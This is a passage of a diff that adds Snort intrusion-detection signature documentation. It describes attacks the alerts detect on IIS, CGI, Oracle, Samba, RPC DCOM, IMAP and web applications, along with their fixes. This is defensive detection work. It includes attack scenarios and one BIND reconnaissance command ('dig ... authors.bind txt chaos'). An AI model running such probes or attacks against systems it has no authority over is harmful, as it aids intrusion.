+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1517.txt
+++ snort-2.8.5.2/doc/signatures/1517.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1517
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2849.txt
+++ snort-2.8.5.2/doc/signatures/2849.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2849
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_an_object
+. This procedure is included in
+sys.dbms_repcat_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/535.txt
+++ snort-2.8.5.2/doc/signatures/535.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+535
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2557.txt
+++ snort-2.8.5.2/doc/signatures/2557.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2557
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2473.txt
+++ snort-2.8.5.2/doc/signatures/2473.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2473
+
+--
+Summary:
+This event is generated when an attempt is made to access the ADMIN$
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2762.txt
+++ snort-2.8.5.2/doc/signatures/2762.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2762
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure define_site_priority
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1998.txt
+++ snort-2.8.5.2/doc/signatures/1998.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1998
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the file
+calendar.php. Multiple applications are vulnerable to SQL injection
+techniques that may lead to the execution of SQL code of the attackers
+choosing.
+
+--
+Affected Systems:
+	All systems running PHP calendar applications
+	VBulletin
+	Invision Power Board
+
+--
+Attack Scenarios:
+An attacker can manipulate user supplied variables to include SQL code
+of their choosing in the request to a vulnerable application.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1435.txt
+++ snort-2.8.5.2/doc/signatures/1435.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1435
+
+--
+Summary:
+This event is generated when an attempt is made to query authors.bind on your DNS server.
+
+--
+Impact:
+Reconnaissance. This informs an attacker that version of BIND running is 9 or greater.
+
+--
+Detailed Information:
+Beginning with version of BIND 9, the authors of BIND created a new "feature" that would allow a user to query for the authors' names.  This feature is enabled by default allowing an attacker to query the DNS server and examine the response.  If the response returns the BIND authors' names, the attacker knows that the version of BIND running is 9 or higher.
+
+--
+Affected Systems:
+BIND versions 9.
+
+--
+Attack Scenarios:
+An attacker can execute this query to find DNS servers running BIND version 9 and higher.
+
+--
+Ease of Attack:
+Simple. Use the Unix command 'dig @ns.com authors.bind txt chaos'  
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Remove the ability to retrieve the authors.bind chaos record by either applying the patch from ISC or by modifying the servers configuration file. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10728
+
+Arachnids:
+http://www.whitehats.com/info/IDS480
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1448.txt
+++ snort-2.8.5.2/doc/signatures/1448.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1448
+
+--
+Summary:
+This event is generated when a request is sent to the Microsoft
+Terminal Server port.
+
+--
+Impact:
+Denial of service. Sending repeated requests may cause a denial of
+service by consuming all available memory resources.
+
+--
+Detailed Information:
+A flaw exists in the Microsoft Terminal Server port on certain versions
+of Windows that may cause a denial of service of the vulnerable host by
+consuming all available memory resources.  This attack requires multiple
+packets to cause a denial of service.
+
+--
+Affected Systems:
+Microsoft Windows 2000 Advanced Server SP2
+Microsoft Windows 2000 Advanced Server SP1
+Microsoft Windows 2000 Advanced Server
+Microsoft Windows 2000 Datacenter Server SP2
+Microsoft Windows 2000 Datacenter Server SP1
+Microsoft Windows 2000 Datacenter Server
+Microsoft Windows 2000 Server SP2
+Microsoft Windows 2000 Server SP1
+Microsoft Windows 2000 Server
+Microsoft Windows NT Terminal Server 4.0
+
+--
+Attack Scenarios:
+An attacker may attempt to cause a denial of service against a
+vulnerable server by sending repeated requests.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patches discussed in Microsoft Security Bulletin MS01-040.
+Block access to the Microsoft Terminal Server port from outside the
+protected network.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0540
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2672.txt
+++ snort-2.8.5.2/doc/signatures/2672.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+2672
+
+-- 
+Summary: 
+This event is generated when an attempt is made to access the file
+sresult.exe.
+
+-- 
+Impact: 
+Possible cross site scripting.
+
+--
+Detailed Information:
+The executable file sresult.exe does not properly sanitize user input,
+as a result it may be possible for an attacker to leverage the binary in
+a cross site scripting attack.
+
+--
+Affected Systems:
+	Webcam Corp Webcam Watchdog 4.0.1 a
+
+--
+Attack Scenarios: 
+An attacker can leverage the sresult.exe binary in a cross site
+scripting attack.
+
+-- 
+Ease of Attack: 
+Simple
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Uninstall the script sresult.exe
+
+Only allow usage from authenticated users
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3386.txt
+++ snort-2.8.5.2/doc/signatures/3386.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3386
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/988.txt
+++ snort-2.8.5.2/doc/signatures/988.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+988
+--
+Summary:
+This event is generated when an attempt is made to access the Windows Security Accounts Manager (SAM) password file via a web request.
+
+--
+Impact:
+Information gathering - An attacker tried to get the Windows password file
+
+--
+Detailed Information:
+The SAM password file contains Windows logins which are NTLM or LANMAN hashes on Windows NT/2K/XP hosts.
+
+The hash algorithms are weak and can be cracked within few minutes/hours if passwords are weak.
+
+--
+Affected Systems:
+Windows NT 3.x and 4.0
+
+--
+Attack Scenarios:
+If an attacker can get the real SAM file and is able to gain clear text passwords, the host can be compromised using the Administrator's login.
+
+--
+Ease of Attack:
+Simple. Exploit scripts are available. The host may be already compromised depending on the password strength used on the server.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Change all Windows passwords.
+
+Apply appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1515.txt
+++ snort-2.8.5.2/doc/signatures/1515.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1515
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/379.txt
+++ snort-2.8.5.2/doc/signatures/379.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+379
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host running "pinger" software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running "pinger" software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS165
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2567.txt
+++ snort-2.8.5.2/doc/signatures/2567.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2567
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3219.txt
+++ snort-2.8.5.2/doc/signatures/3219.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3219
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3058.txt
+++ snort-2.8.5.2/doc/signatures/3058.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+3058
+
+--
+Summary:
+This event is generated when a remote user sends an overly long string 
+to an IMAP server via the command COPY. This may indicate an attempt to 
+exploit a buffer overflow condition.
+
+--
+Impact:
+Serious. Possible remote execution of arbitrary code, which may lead to
+a remote root compromise.
+
+--
+Detailed Information:
+When a large amount of data is sent to a vulnerable IMAP server in the 
+COPY command, a buffer overflow condition may occur. This can allow the
+attacker to execute arbitrary code, which may allow the attacker to gain
+root access to the compromised server.
+
+The attacker must use a valid IMAP account to exploit this condition.
+
+--
+Affected Systems:
+	IMAP servers
+
+--
+Attack Scenarios:
+An attacker can send a sufficiently long COPY command to the IMAP
+server, creating a buffer overflow condition. This can then allow the
+attacker to execute code of their choosing and possibly gain root access
+to the compromised server.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate patches for your operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000727.txt
+++ snort-2.8.5.2/doc/signatures/100000727.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000727
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Softbiz Banner Exchange" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "city" parameter in the "insertmember.php" script used by the "Softbiz Banner Exchange" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Softbiz Banner Exchange
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3312.txt
+++ snort-2.8.5.2/doc/signatures/3312.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3312
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000738.txt
+++ snort-2.8.5.2/doc/signatures/100000738.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000738
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "EditIP.Admin.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "EditIP.Admin.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1458.txt
+++ snort-2.8.5.2/doc/signatures/1458.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1458
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Blackboard CourseInfo running on  a web server. 
+
+Any valid user is able to modify the contents of the database by
+supplying form values of their choosing to the perl scripts running the
+application.
+
+--
+Affected Systems:
+	Blackboard CourseInfo 4.0 for UNIX and Windws NT
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
